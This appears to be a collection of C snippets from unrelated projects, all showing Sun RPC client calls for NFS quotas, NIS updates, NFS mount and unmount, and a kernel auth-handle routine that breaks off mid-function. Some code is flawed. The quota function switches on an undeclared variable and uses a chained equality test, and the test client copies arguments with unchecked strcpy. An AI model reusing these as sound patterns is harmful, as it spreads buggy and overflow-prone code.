/* Restricted to SUNOS5 for the moment, I haven`t access to others to test. */ static BOOL nfs_quotas(char *nfspath, uid_t euser_id, SMB_BIG_UINT *bsize, SMB_BIG_UINT *dfree, SMB_BIG_UINT *dsize) { uid_t uid = euser_id; struct dqblk D; char *mnttype = nfspath; CLIENT *clnt; struct getquota_rslt gqr; struct getquota_args args; char *cutstr, *pathname, *host, *testpath; int len; static struct timeval timeout = {2,0}; enum clnt_stat clnt_stat; BOOL ret = True; *bsize = *dfree = *dsize = (SMB_BIG_UINT)0; len=strcspn(mnttype, ":"); pathname=strstr(mnttype, ":"); cutstr = (char *) malloc(len+1); if (!cutstr) return False; memset(cutstr, '\0', len+1); host = strncat(cutstr,mnttype, sizeof(char) * len ); DEBUG(5,("nfs_quotas: looking for mount on \"%s\"\n", cutstr)); DEBUG(5,("nfs_quotas: of path \"%s\"\n", mnttype)); testpath=strchr(mnttype, ':'); args.gqa_pathp = testpath+1; args.gqa_uid = uid; DEBUG(5,("nfs_quotas: Asking for host \"%s\" rpcprog \"%i\" rpcvers \"%i\" network \"%s\"\n", host, RQUOTAPROG, RQUOTAVERS, "udp")); if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) == NULL) { ret = False; goto out; } clnt->cl_auth = authunix_create_default(); DEBUG(9,("nfs_quotas: auth_success\n")); clnt_stat=clnt_call(clnt, RQUOTAPROC_GETQUOTA, xdr_getquota_args, (caddr_t)&args, xdr_getquota_rslt, (caddr_t)&gqr, timeout); if (clnt_stat != RPC_SUCCESS) { DEBUG(9,("nfs_quotas: clnt_call fail\n")); ret = False; goto out; } /* * quotastat returns 0 if the rpc call fails, 1 if quotas exist, 2 if there is * no quota set, and 3 if no permission to get the quota. If 0 or 3 return * something sensible. */ switch ( quotastat ) { case 0: DEBUG(9,("nfs_quotas: Remote Quotas Failed! Error \"%i\" \n", quotastat )); ret = False; goto out; case 1: DEBUG(9,("nfs_quotas: Good quota data\n")); D.dqb_bsoftlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit; D.dqb_bhardlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit; D.dqb_curblocks = gqr.getquota_rslt_u.gqr_rquota.rq_curblocks; break; case 2: case 3: D.dqb_bsoftlimit = 1; D.dqb_curblocks = 1; DEBUG(9,("nfs_quotas: Remote Quotas returned \"%i\" \n", quotastat )); break; default: DEBUG(9,("nfs_quotas: Remote Quotas Questionable! Error \"%i\" \n", quotastat )); break; } DEBUG(10,("nfs_quotas: Let`s look at D a bit closer... status \"%i\" bsize \"%i\" active? \"%i\" bhard \"%i\" bsoft \"%i\" curb \"%i\" \n", quotastat, gqr.getquota_rslt_u.gqr_rquota.rq_bsize, gqr.getquota_rslt_u.gqr_rquota.rq_active, gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit, gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit, gqr.getquota_rslt_u.gqr_rquota.rq_curblocks)); *bsize = gqr.getquota_rslt_u.gqr_rquota.rq_bsize; *dsize = D.dqb_bsoftlimit; if (D.dqb_curblocks == D.dqb_curblocks == 1) *bsize = 512; if (D.dqb_curblocks > D.dqb_bsoftlimit) { *dfree = 0; *dsize = D.dqb_curblocks; } else *dfree = D.dqb_bsoftlimit - D.dqb_curblocks; out: if (clnt) { if (clnt->cl_auth) auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } DEBUG(5,("nfs_quotas: For path \"%s\" returning bsize %.0f, dfree %.0f, dsize %.0f\n",args.gqa_pathp,(double)*bsize,(double)*dfree,(double)*dsize)); safe_free(cutstr); DEBUG(10,("nfs_quotas: End of nfs_quotas\n" )); return ret; }
int yp_update(char *domain, char *map, unsigned int ypop, char *key, int keylen, char *data, int datalen) { char *master; int rval; unsigned int res; struct ypupdate_args upargs; struct ypdelete_args delargs; CLIENT *clnt; char netname[MAXNETNAMELEN+1]; des_block des_key; struct timeval timeout; /* Get the master server name for 'domain.' */ if ((rval = yp_master(domain, map, &master))) return(rval); /* Check that ypupdated is running there. */ if (getrpcport(master, YPU_PROG, YPU_VERS, ypop)) return(YPERR_DOMAIN); /* Get a handle. */ if ((clnt = clnt_create(master, YPU_PROG, YPU_VERS, "tcp")) == NULL) return(YPERR_RPC); /* * Assemble netname of server. * NOTE: It's difficult to discern from the documentation, but * when you make a Secure RPC call, the netname you pass should * be the netname of the guy on the other side, not your own * netname. This is how the client side knows what public key * to use for the initial exchange. Passing your own netname * only works if the server on the other side is running under * your UID. */ if (!host2netname(netname, master, domain)) { clnt_destroy(clnt); return(YPERR_BADARGS); } /* Make up a DES session key. */ key_gendes(&des_key); /* Set up DES authentication. */ if ((clnt->cl_auth = (AUTH *)authdes_create(netname, WINDOW, NULL, &des_key)) == NULL) { clnt_destroy(clnt); return(YPERR_RESRC); } /* Set a timeout for clnt_call(). */ timeout.tv_usec = 0; timeout.tv_sec = TIMEOUT; /* * Make the call. Note that we use clnt_call() here rather than * the rpcgen-erated client stubs. We could use those stubs, but * then we'd have to do some gymnastics to get at the error * information to figure out what error code to send back to the * caller. With clnt_call(), we get the error status returned to * us right away, and we only have to exert a small amount of * extra effort. */ switch (ypop) { case YPOP_CHANGE: upargs.mapname = map; upargs.key.yp_buf_len = keylen; upargs.key.yp_buf_val = key; upargs.datum.yp_buf_len = datalen; upargs.datum.yp_buf_val = data; if ((rval = clnt_call(clnt, YPU_CHANGE, (xdrproc_t)xdr_ypupdate_args, &upargs, (xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) { if (rval == RPC_AUTHERROR) res = YPERR_ACCESS; else res = YPERR_RPC; } break; case YPOP_INSERT: upargs.mapname = map; upargs.key.yp_buf_len = keylen; upargs.key.yp_buf_val = key; upargs.datum.yp_buf_len = datalen; upargs.datum.yp_buf_val = data; if ((rval = clnt_call(clnt, YPU_INSERT, (xdrproc_t)xdr_ypupdate_args, &upargs, (xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) { if (rval == RPC_AUTHERROR) res = YPERR_ACCESS; else res = YPERR_RPC; } break; case YPOP_DELETE: delargs.mapname = map; delargs.key.yp_buf_len = keylen; delargs.key.yp_buf_val = key; if ((rval = clnt_call(clnt, YPU_DELETE, (xdrproc_t)xdr_ypdelete_args, &delargs, (xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) { if (rval == RPC_AUTHERROR) res = YPERR_ACCESS; else res = YPERR_RPC; } break; case YPOP_STORE: upargs.mapname = map; upargs.key.yp_buf_len = keylen; upargs.key.yp_buf_val = key; upargs.datum.yp_buf_len = datalen; upargs.datum.yp_buf_val = data; if ((rval = clnt_call(clnt, YPU_STORE, (xdrproc_t)xdr_ypupdate_args, &upargs, (xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) { if (rval == RPC_AUTHERROR) res = YPERR_ACCESS; else res = YPERR_RPC; } break; default: res = YPERR_BADARGS; break; } /* All done: tear down the connection. */ auth_destroy(clnt->cl_auth); clnt_destroy(clnt); free(master); return(res); }
static int yppasswd_remote(ypclnt_t *ypclnt, const struct passwd *pwd, const char *passwd) { struct yppasswd yppwd; struct rpc_err rpcerr; CLIENT *clnt = NULL; int ret, *result; /* fill the yppasswd structure */ memset(&yppwd, 0, sizeof yppwd); yppwd.newpw.pw_uid = pwd->pw_uid; yppwd.newpw.pw_gid = pwd->pw_gid; if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL || (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL || (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL || (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL || (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL || (yppwd.oldpass = strdup(passwd ? passwd : "")) == NULL) { ypclnt_error(ypclnt, __func__, strerror(errno)); ret = -1; goto done; } /* connect to rpc.yppasswdd */ clnt = clnt_create(ypclnt->server, YPPASSWDPROG, YPPASSWDVERS, "udp"); if (clnt == NULL) { ypclnt_error(ypclnt, __func__, "failed to connect to rpc.yppasswdd: %s", clnt_spcreateerror(ypclnt->server)); ret = -1; goto done; } clnt->cl_auth = authunix_create_default(); /* request the update */ result = yppasswdproc_update_1(&yppwd, clnt); /* check for RPC errors */ clnt_geterr(clnt, &rpcerr); if (rpcerr.re_status != RPC_SUCCESS) { ypclnt_error(ypclnt, __func__, "NIS password update failed: %s", clnt_sperror(clnt, ypclnt->server)); ret = -1; goto done; } /* check the result of the update */ if (result == NULL || *result != 0) { ypclnt_error(ypclnt, __func__, "NIS password update failed"); /* XXX how do we get more details? */ ret = -1; goto done; } ypclnt_error(ypclnt, NULL, NULL); ret = 0; done: if (clnt != NULL) { auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } free(yppwd.newpw.pw_name); if (yppwd.newpw.pw_passwd != NULL) { memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd)); free(yppwd.newpw.pw_passwd); } free(yppwd.newpw.pw_gecos); free(yppwd.newpw.pw_dir); free(yppwd.newpw.pw_shell); if (yppwd.oldpass != NULL) { memset(yppwd.oldpass, 0, strlen(yppwd.oldpass)); free(yppwd.oldpass); } return (ret); }
/* * NFS stuff and unmount(2) call */ int umountfs(struct statfs *sfs) { char fsidbuf[64]; enum clnt_stat clnt_stat; struct timeval try; struct addrinfo *ai, hints; int do_rpc; CLIENT *clp; char *nfsdirname, *orignfsdirname; char *hostp, *delimp; ai = NULL; do_rpc = 0; hostp = NULL; nfsdirname = delimp = orignfsdirname = NULL; memset(&hints, 0, sizeof hints); if (strcmp(sfs->f_fstypename, "nfs") == 0) { if ((nfsdirname = strdup(sfs->f_mntfromname)) == NULL) err(1, "strdup"); orignfsdirname = nfsdirname; if (*nfsdirname == '[' && (delimp = strchr(nfsdirname + 1, ']')) != NULL && *(delimp + 1) == ':') { hostp = nfsdirname + 1; nfsdirname = delimp + 2; } else if ((delimp = strrchr(nfsdirname, ':')) != NULL) { hostp = nfsdirname; nfsdirname = delimp + 1; } if (hostp != NULL) { *delimp = '\0'; getaddrinfo(hostp, NULL, &hints, &ai); if (ai == NULL) { warnx("can't get net id for host"); } } /* * Check if we have to start the rpc-call later. * If there are still identical nfs-names mounted, * we skip the rpc-call. Obviously this has to * happen before unmount(2), but it should happen * after the previous namecheck. * A non-NULL return means that this is the last * mount from mntfromname that is still mounted. */ if (getmntentry(sfs->f_mntfromname, NULL, NULL, CHECKUNIQUE) != NULL) do_rpc = 1; } if (!namematch(ai)) { free(orignfsdirname); return (1); } /* First try to unmount using the file system ID. */ snprintf(fsidbuf, sizeof(fsidbuf), "FSID:%d:%d", sfs->f_fsid.val[0], sfs->f_fsid.val[1]); if (unmount(fsidbuf, fflag | MNT_BYFSID) != 0) { /* XXX, non-root users get a zero fsid, so don't warn. */ if (errno != ENOENT || sfs->f_fsid.val[0] != 0 || sfs->f_fsid.val[1] != 0) warn("unmount of %s failed", sfs->f_mntonname); if (errno != ENOENT) { free(orignfsdirname); return (1); } /* Compatibility for old kernels. */ if (sfs->f_fsid.val[0] != 0 || sfs->f_fsid.val[1] != 0) warnx("retrying using path instead of file system ID"); if (unmount(sfs->f_mntonname, fflag) != 0) { warn("unmount of %s failed", sfs->f_mntonname); free(orignfsdirname); return (1); } } /* Mark this this file system as unmounted. */ getmntentry(NULL, NULL, &sfs->f_fsid, REMOVE); if (vflag) (void)printf("%s: unmount from %s\n", sfs->f_mntfromname, sfs->f_mntonname); /* * Report to mountd-server which nfsname * has been unmounted. */ if (ai != NULL && !(fflag & MNT_FORCE) && do_rpc) { clp = clnt_create(hostp, MOUNTPROG, MOUNTVERS, "udp"); if (clp == NULL) { warnx("%s: %s", hostp, clnt_spcreateerror("MOUNTPROG")); free(orignfsdirname); return (1); } clp->cl_auth = authsys_create_default(); try.tv_sec = 20; try.tv_usec = 0; clnt_stat = clnt_call(clp, MOUNTPROC_UMNT, (xdrproc_t)xdr_dir, nfsdirname, (xdrproc_t)xdr_void, (caddr_t)0, try); if (clnt_stat != RPC_SUCCESS) { warnx("%s: %s", hostp, clnt_sperror(clp, "RPCMNT_UMOUNT")); free(orignfsdirname); return (1); } /* * Remove the unmounted entry from /var/db/mounttab. */ if (read_mtab()) { clean_mtab(hostp, nfsdirname, vflag); if(!write_mtab(vflag)) warnx("cannot remove mounttab entry %s:%s", hostp, nfsdirname); free_mtab(); } auth_destroy(clp->cl_auth); clnt_destroy(clp); }
// NB: mp->xxx fields may be trashed on exit static int nfsmount(struct mntent *mp, int vfsflags, char *filteropts) { CLIENT *mclient; char *hostname; char *pathname; char *mounthost; struct nfs_mount_data data; char *opt; struct hostent *hp; struct sockaddr_in server_addr; struct sockaddr_in mount_server_addr; int msock, fsock; union { struct fhstatus nfsv2; struct mountres3 nfsv3; } status; int daemonized; char *s; int port; int mountport; int proto; int bg; int soft; int intr; int posix; int nocto; int noac; int nolock; int retry; int tcp; int mountprog; int mountvers; int nfsprog; int nfsvers; int retval; find_kernel_nfs_mount_version(); daemonized = 0; mounthost = NULL; retval = ETIMEDOUT; msock = fsock = -1; mclient = NULL; /* NB: hostname, mounthost, filteropts must be free()d prior to return */ filteropts = xstrdup(filteropts); /* going to trash it later... */ hostname = xstrdup(mp->mnt_fsname); /* mount_main() guarantees that ':' is there */ s = strchr(hostname, ':'); pathname = s + 1; *s = '\0'; /* Ignore all but first hostname in replicated mounts until they can be fully supported. ([email protected]) */ s = strchr(hostname, ','); if (s) { *s = '\0'; bb_error_msg("warning: multiple hostnames not supported"); } server_addr.sin_family = AF_INET; if (!inet_aton(hostname, &server_addr.sin_addr)) { hp = gethostbyname(hostname); if (hp == NULL) { bb_herror_msg("%s", hostname); goto fail; } if (hp->h_length > sizeof(struct in_addr)) { bb_error_msg("got bad hp->h_length"); hp->h_length = sizeof(struct in_addr); } memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length); } memcpy(&mount_server_addr, &server_addr, sizeof(mount_server_addr)); /* add IP address to mtab options for use when unmounting */ if (!mp->mnt_opts) { /* TODO: actually mp->mnt_opts is never NULL */ mp->mnt_opts = xasprintf("addr=%s", inet_ntoa(server_addr.sin_addr)); } else { char *tmp = xasprintf("%s%saddr=%s", mp->mnt_opts, mp->mnt_opts[0] ? "," : "", inet_ntoa(server_addr.sin_addr)); free(mp->mnt_opts); mp->mnt_opts = tmp; } /* Set default options. * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to * let the kernel decide. * timeo is filled in after we know whether it'll be TCP or UDP. */ memset(&data, 0, sizeof(data)); data.retrans = 3; data.acregmin = 3; data.acregmax = 60; data.acdirmin = 30; data.acdirmax = 60; data.namlen = NAME_MAX; bg = 0; soft = 0; intr = 0; posix = 0; nocto = 0; nolock = 0; noac = 0; retry = 10000; /* 10000 minutes ~ 1 week */ tcp = 0; mountprog = MOUNTPROG; mountvers = 0; port = 0; mountport = 0; nfsprog = 100003; nfsvers = 0; /* parse options */ if (filteropts) for (opt = strtok(filteropts, ","); opt; opt = strtok(NULL, ",")) { char *opteq = strchr(opt, '='); if (opteq) { static const char *const options[] = { /* 0 */ "rsize", /* 1 */ "wsize", /* 2 */ "timeo", /* 3 */ "retrans", /* 4 */ "acregmin", /* 5 */ "acregmax", /* 6 */ "acdirmin", /* 7 */ "acdirmax", /* 8 */ "actimeo", /* 9 */ "retry", /* 10 */ "port", /* 11 */ "mountport", /* 12 */ "mounthost", /* 13 */ "mountprog", /* 14 */ "mountvers", /* 15 */ "nfsprog", /* 16 */ "nfsvers", /* 17 */ "vers", /* 18 */ "proto", /* 19 */ "namlen", /* 20 */ "addr", NULL }; int val = xatoi_u(opteq + 1); *opteq = '\0'; switch (index_in_str_array(options, opt)) { case 0: // "rsize" data.rsize = val; break; case 1: // "wsize" data.wsize = val; break; case 2: // "timeo" data.timeo = val; break; case 3: // "retrans" data.retrans = val; break; case 4: // "acregmin" data.acregmin = val; break; case 5: // "acregmax" data.acregmax = val; break; case 6: // "acdirmin" data.acdirmin = val; break; case 7: // "acdirmax" data.acdirmax = val; break; case 8: // "actimeo" data.acregmin = val; data.acregmax = val; data.acdirmin = val; data.acdirmax = val; break; case 9: // "retry" retry = val; break; case 10: // "port" port = val; break; case 11: // "mountport" mountport = val; break; case 12: // "mounthost" mounthost = xstrndup(opteq+1, strcspn(opteq+1," \t\n\r,")); break; case 13: // "mountprog" mountprog = val; break; case 14: // "mountvers" mountvers = val; break; case 15: // "nfsprog" nfsprog = val; break; case 16: // "nfsvers" case 17: // "vers" nfsvers = val; break; case 18: // "proto" if (!strncmp(opteq+1, "tcp", 3)) tcp = 1; else if (!strncmp(opteq+1, "udp", 3)) tcp = 0; else bb_error_msg("warning: unrecognized proto= option"); break; case 19: // "namlen" if (nfs_mount_version >= 2) data.namlen = val; else bb_error_msg("warning: option namlen is not supported\n"); break; case 20: // "addr" - ignore break; default: bb_error_msg("unknown nfs mount parameter: %s=%d", opt, val); goto fail; } } else { static const char *const options[] = { "bg", "fg", "soft", "hard", "intr", "posix", "cto", "ac", "tcp", "udp", "lock", NULL }; int val = 1; if (!strncmp(opt, "no", 2)) { val = 0; opt += 2; } switch (index_in_str_array(options, opt)) { case 0: // "bg" bg = val; break; case 1: // "fg" bg = !val; break; case 2: // "soft" soft = val; break; case 3: // "hard" soft = !val; break; case 4: // "intr" intr = val; break; case 5: // "posix" posix = val; break; case 6: // "cto" nocto = !val; break; case 7: // "ac" noac = !val; break; case 8: // "tcp" tcp = val; break; case 9: // "udp" tcp = !val; break; case 10: // "lock" if (nfs_mount_version >= 3) nolock = !val; else bb_error_msg("warning: option nolock is not supported"); break; default: bb_error_msg("unknown nfs mount option: %s%s", val ? "" : "no", opt); goto fail; } } } proto = (tcp) ? IPPROTO_TCP : IPPROTO_UDP; data.flags = (soft ? NFS_MOUNT_SOFT : 0) | (intr ? NFS_MOUNT_INTR : 0) | (posix ? NFS_MOUNT_POSIX : 0) | (nocto ? NFS_MOUNT_NOCTO : 0) | (noac ? NFS_MOUNT_NOAC : 0); if (nfs_mount_version >= 2) data.flags |= (tcp ? NFS_MOUNT_TCP : 0); if (nfs_mount_version >= 3) data.flags |= (nolock ? NFS_MOUNT_NONLM : 0); if (nfsvers > MAX_NFSPROT || mountvers > MAX_NFSPROT) { bb_error_msg("NFSv%d not supported", nfsvers); goto fail; } if (nfsvers && !mountvers) mountvers = (nfsvers < 3) ? 1 : nfsvers; if (nfsvers && nfsvers < mountvers) { mountvers = nfsvers; } /* Adjust options if none specified */ if (!data.timeo) data.timeo = tcp ? 70 : 7; data.version = nfs_mount_version; if (vfsflags & MS_REMOUNT) goto do_mount; /* * If the previous mount operation on the same host was * backgrounded, and the "bg" for this mount is also set, * give up immediately, to avoid the initial timeout. */ if (bg && we_saw_this_host_before(hostname)) { daemonized = daemonize(); /* parent or error */ if (daemonized <= 0) { /* parent or error */ retval = -daemonized; goto ret; } } /* create mount daemon client */ /* See if the nfs host = mount host. */ if (mounthost) { if (mounthost[0] >= '0' && mounthost[0] <= '9') { mount_server_addr.sin_family = AF_INET; mount_server_addr.sin_addr.s_addr = inet_addr(hostname); } else { hp = gethostbyname(mounthost); if (hp == NULL) { bb_herror_msg("%s", mounthost); goto fail; } else { if (hp->h_length > sizeof(struct in_addr)) { bb_error_msg("got bad hp->h_length?"); hp->h_length = sizeof(struct in_addr); } mount_server_addr.sin_family = AF_INET; memcpy(&mount_server_addr.sin_addr, hp->h_addr, hp->h_length); } } } /* * The following loop implements the mount retries. When the mount * times out, and the "bg" option is set, we background ourself * and continue trying. * * The case where the mount point is not present and the "bg" * option is set, is treated as a timeout. This is done to * support nested mounts. * * The "retry" count specified by the user is the number of * minutes to retry before giving up. */ { struct timeval total_timeout; struct timeval retry_timeout; struct pmap* pm_mnt; time_t t; time_t prevt; time_t timeout; retry_timeout.tv_sec = 3; retry_timeout.tv_usec = 0; total_timeout.tv_sec = 20; total_timeout.tv_usec = 0; timeout = time(NULL) + 60 * retry; prevt = 0; t = 30; retry: /* be careful not to use too many CPU cycles */ if (t - prevt < 30) sleep(30); pm_mnt = get_mountport(&mount_server_addr, mountprog, mountvers, proto, mountport); nfsvers = (pm_mnt->pm_vers < 2) ? 2 : pm_mnt->pm_vers; /* contact the mount daemon via TCP */ mount_server_addr.sin_port = htons(pm_mnt->pm_port); msock = RPC_ANYSOCK; switch (pm_mnt->pm_prot) { case IPPROTO_UDP: mclient = clntudp_create(&mount_server_addr, pm_mnt->pm_prog, pm_mnt->pm_vers, retry_timeout, &msock); if (mclient) break; mount_server_addr.sin_port = htons(pm_mnt->pm_port); msock = RPC_ANYSOCK; case IPPROTO_TCP: mclient = clnttcp_create(&mount_server_addr, pm_mnt->pm_prog, pm_mnt->pm_vers, &msock, 0, 0); break; default: mclient = 0; } if (!mclient) { if (!daemonized && prevt == 0) error_msg_rpc(clnt_spcreateerror(" ")); } else { enum clnt_stat clnt_stat; /* try to mount hostname:pathname */ mclient->cl_auth = authunix_create_default(); /* make pointers in xdr_mountres3 NULL so * that xdr_array allocates memory for us */ memset(&status, 0, sizeof(status)); if (pm_mnt->pm_vers == 3) clnt_stat = clnt_call(mclient, MOUNTPROC3_MNT, (xdrproc_t) xdr_dirpath, (caddr_t) &pathname, (xdrproc_t) xdr_mountres3, (caddr_t) &status, total_timeout); else clnt_stat = clnt_call(mclient, MOUNTPROC_MNT, (xdrproc_t) xdr_dirpath, (caddr_t) &pathname, (xdrproc_t) xdr_fhstatus, (caddr_t) &status, total_timeout); if (clnt_stat == RPC_SUCCESS) goto prepare_kernel_data; /* we're done */ if (errno != ECONNREFUSED) { error_msg_rpc(clnt_sperror(mclient, " ")); goto fail; /* don't retry */ } /* Connection refused */ if (!daemonized && prevt == 0) /* print just once */ error_msg_rpc(clnt_sperror(mclient, " ")); auth_destroy(mclient->cl_auth); clnt_destroy(mclient); mclient = 0; close(msock); } /* Timeout. We are going to retry... maybe */ if (!bg) goto fail; if (!daemonized) { daemonized = daemonize(); if (daemonized <= 0) { /* parent or error */ retval = -daemonized; goto ret; } } prevt = t; t = time(NULL); if (t >= timeout) /* TODO error message */ goto fail; goto retry; } prepare_kernel_data: if (nfsvers == 2) { if (status.nfsv2.fhs_status != 0) { bb_error_msg("%s:%s failed, reason given by server: %s", hostname, pathname, nfs_strerror(status.nfsv2.fhs_status)); goto fail; } memcpy(data.root.data, (char *) status.nfsv2.fhstatus_u.fhs_fhandle, NFS_FHSIZE); data.root.size = NFS_FHSIZE; memcpy(data.old_root.data, (char *) status.nfsv2.fhstatus_u.fhs_fhandle, NFS_FHSIZE); } else { fhandle3 *my_fhandle; if (status.nfsv3.fhs_status != 0) { bb_error_msg("%s:%s failed, reason given by server: %s", hostname, pathname, nfs_strerror(status.nfsv3.fhs_status)); goto fail; } my_fhandle = &status.nfsv3.mountres3_u.mountinfo.fhandle; memset(data.old_root.data, 0, NFS_FHSIZE); memset(&data.root, 0, sizeof(data.root)); data.root.size = my_fhandle->fhandle3_len; memcpy(data.root.data, (char *) my_fhandle->fhandle3_val, my_fhandle->fhandle3_len); data.flags |= NFS_MOUNT_VER3; } /* create nfs socket for kernel */ if (tcp) { if (nfs_mount_version < 3) { bb_error_msg("NFS over TCP is not supported"); goto fail; } fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); } else fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (fsock < 0) { bb_perror_msg("nfs socket"); goto fail; } if (bindresvport(fsock, 0) < 0) { bb_perror_msg("nfs bindresvport"); goto fail; } if (port == 0) { server_addr.sin_port = PMAPPORT; port = pmap_getport(&server_addr, nfsprog, nfsvers, tcp ? IPPROTO_TCP : IPPROTO_UDP); if (port == 0) port = NFS_PORT; } server_addr.sin_port = htons(port); /* prepare data structure for kernel */ data.fd = fsock; memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr)); strncpy(data.hostname, hostname, sizeof(data.hostname)); /* clean up */ auth_destroy(mclient->cl_auth); clnt_destroy(mclient); close(msock); if (bg) { /* We must wait until mount directory is available */ struct stat statbuf; int delay = 1; while (stat(mp->mnt_dir, &statbuf) == -1) { if (!daemonized) { daemonized = daemonize(); if (daemonized <= 0) { /* parent or error */ retval = -daemonized; goto ret; } } sleep(delay); /* 1, 2, 4, 8, 16, 30, ... */ delay *= 2; if (delay > 30) delay = 30; } } do_mount: /* perform actual mount */ mp->mnt_type = (char*)"nfs"; retval = mount_it_now(mp, vfsflags, (char*)&data); goto ret; fail: /* abort */ if (msock != -1) { if (mclient) { auth_destroy(mclient->cl_auth); clnt_destroy(mclient); } close(msock); } if (fsock != -1) close(fsock); ret: free(hostname); free(mounthost); free(filteropts); return retval; }
main( int argc, char * argv[] ) { struct timeval intervalle = { TIMEOUT_SEC, 0 }; CLIENT * client ; int c ; struct rpcent * etc_rpc ; /* pour consulter /etc/rpc ou rpc.bynumber */ unsigned int adresse_serveur ; /* Au format NET */ struct hostent * hp ; char nom_exec[MAXPATHLEN] ; char machine_locale[256] ; char * tempo_nom_exec = NULL ; unsigned int rpc_service_num = DEFAULT_RPC_SERVICE ; unsigned int rpc_version = V4 ; unsigned int rpcproc = PROC_PLUS1 ; unsigned short port = ntohs( 2049 ) ; int val = 2 ; int rc ; char gss_service[1024] ; char host[100] ; struct COMPOUND4args compound4_args ; struct COMPOUND4res compound4_res ; /* On recupere le nom de l'executable */ if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL ) strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ; strcpy( ifname, "eth0" ) ; while( ( c = getopt( argc, argv, options ) ) != EOF ) { switch( c ) { case 'd': /* Cette option permet de recuperer un nom pour la machine distante */ if( isalpha( *optarg ) ) { strcpy( host, optarg ) ; } else { adresse_serveur = inet_addr( optarg ) ; } break; case 's': /* Un nom ou un numero de service a ete indique */ if( isalpha( (int)*optarg ) ) { /* Ca commence pas par un chiffre donc c'est un nom service */ if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL ) { fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ; } else { rpc_service_num = etc_rpc->r_number ; } } else { /* C'est un numero de service qui est indique */ rpc_service_num = atoi( optarg ) ; } break ; case 'v': /* numero de version */ rpc_version = atoi( optarg ) ; break ; case 'p': rpcproc = atoi( optarg ) ; break ; case 'I': strcpy( ifname, optarg ) ; break ; case 'h': case '?': default: /* Affichage de l'aide en ligne */ fprintf( stderr, utilisation, nom_exec ) ; exit( 0 ) ; break ; } } if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL ) { char erreur[100] ; strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ; fprintf( stderr, "Creation RPC: %s\n", erreur ) ; exit( 1 ) ; } client->cl_auth = authunix_create_default(); compound4_args.tag.utf8string_len = 0 ; /* No Tag */ compound4_args.minorversion = 0 ; compound4_args.argarray.argarray_len = 1 ; compound4_args.argarray.argarray_val = (struct nfs_argop4 * )malloc( sizeof( struct nfs_argop4 ) ) ; compound4_args.argarray.argarray_val[0].argop = NFS4_OP_PUTROOTFH ; /* This operation requires no argument */ fprintf( stderr, "requete v4\n" ) ; if( ( rc = clnt_call( client, 1, (xdrproc_t)xdr_COMPOUND4args, (caddr_t)&compound4_args, (xdrproc_t)xdr_COMPOUND4res, (caddr_t)&compound4_res, intervalle ) ) != RPC_SUCCESS ) { clnt_perror( client, "appel a NFSPROC4_COMPOUND\n" ) ; exit ( 1 ) ; } fprintf( stderr, "Requete v4 OK\n" ) ; auth_destroy( client->cl_auth ) ; clnt_destroy( client ) ; }
/* * Get an AUTH handle for a RPC client based on the given sec_data. * If an AUTH handle exists for the same sec_data, use that AUTH handle, * otherwise create a new one. */ int sec_clnt_geth(CLIENT *client, struct sec_data *secdata, cred_t *cr, AUTH **ap) { int i; struct desauthent *da; int authflavor; cred_t *savecred; int stat; /* return (errno) status */ char gss_svc_name[MAX_GSS_NAME]; dh_k4_clntdata_t *desdata; AUTH *auth; gss_clntdata_t *gssdata; zoneid_t zoneid = getzoneid(); if ((client == NULL) || (secdata == NULL) || (ap == NULL)) return (EINVAL); *ap = (AUTH *)NULL; authflavor = secdata->rpcflavor; for (;;) { int nlen; char *netname; switch (authflavor) { case AUTH_NONE: *ap = (AUTH *) authnone_create(); return ((*ap != NULL) ? 0 : EINTR); case AUTH_UNIX: *ap = (AUTH *) authkern_create(); return ((*ap != NULL) ? 0 : EINTR); case AUTH_LOOPBACK: *ap = (AUTH *) authloopback_create(); return ((*ap != NULL) ? 0 : EINTR); case AUTH_DES: mutex_enter(&desauthtab_lock); if (desauthtab == NULL) { desauthtab = kmem_zalloc(clnt_authdes_cachesz * sizeof (struct desauthent), KM_SLEEP); } for (da = desauthtab; da < &desauthtab[clnt_authdes_cachesz]; da++) { if (da->da_data == secdata && da->da_uid == crgetuid(cr) && da->da_zoneid == zoneid && !da->da_inuse && da->da_auth != NULL) { da->da_inuse = 1; mutex_exit(&desauthtab_lock); *ap = da->da_auth; return (0); } } mutex_exit(&desauthtab_lock); /* * A better way would be to have a cred paramater to * authdes_create. */ savecred = curthread->t_cred; curthread->t_cred = cr; /* * Note that authdes_create() expects a * NUL-terminated string for netname, but * dh_k4_clntdata_t gives us netname & netnamelen. * * We must create a string for authdes_create(); * the latter takes a copy of it, so we may * immediately free it. */ desdata = (dh_k4_clntdata_t *)secdata->data; nlen = desdata->netnamelen; /* must be NUL-terminated */ netname = kmem_zalloc(nlen + 1, KM_SLEEP); bcopy(desdata->netname, netname, nlen); stat = authdes_create(netname, authdes_win, &desdata->syncaddr, desdata->knconf, (des_block *)NULL, (secdata->flags & AUTH_F_RPCTIMESYNC) ? 1 : 0, &auth); 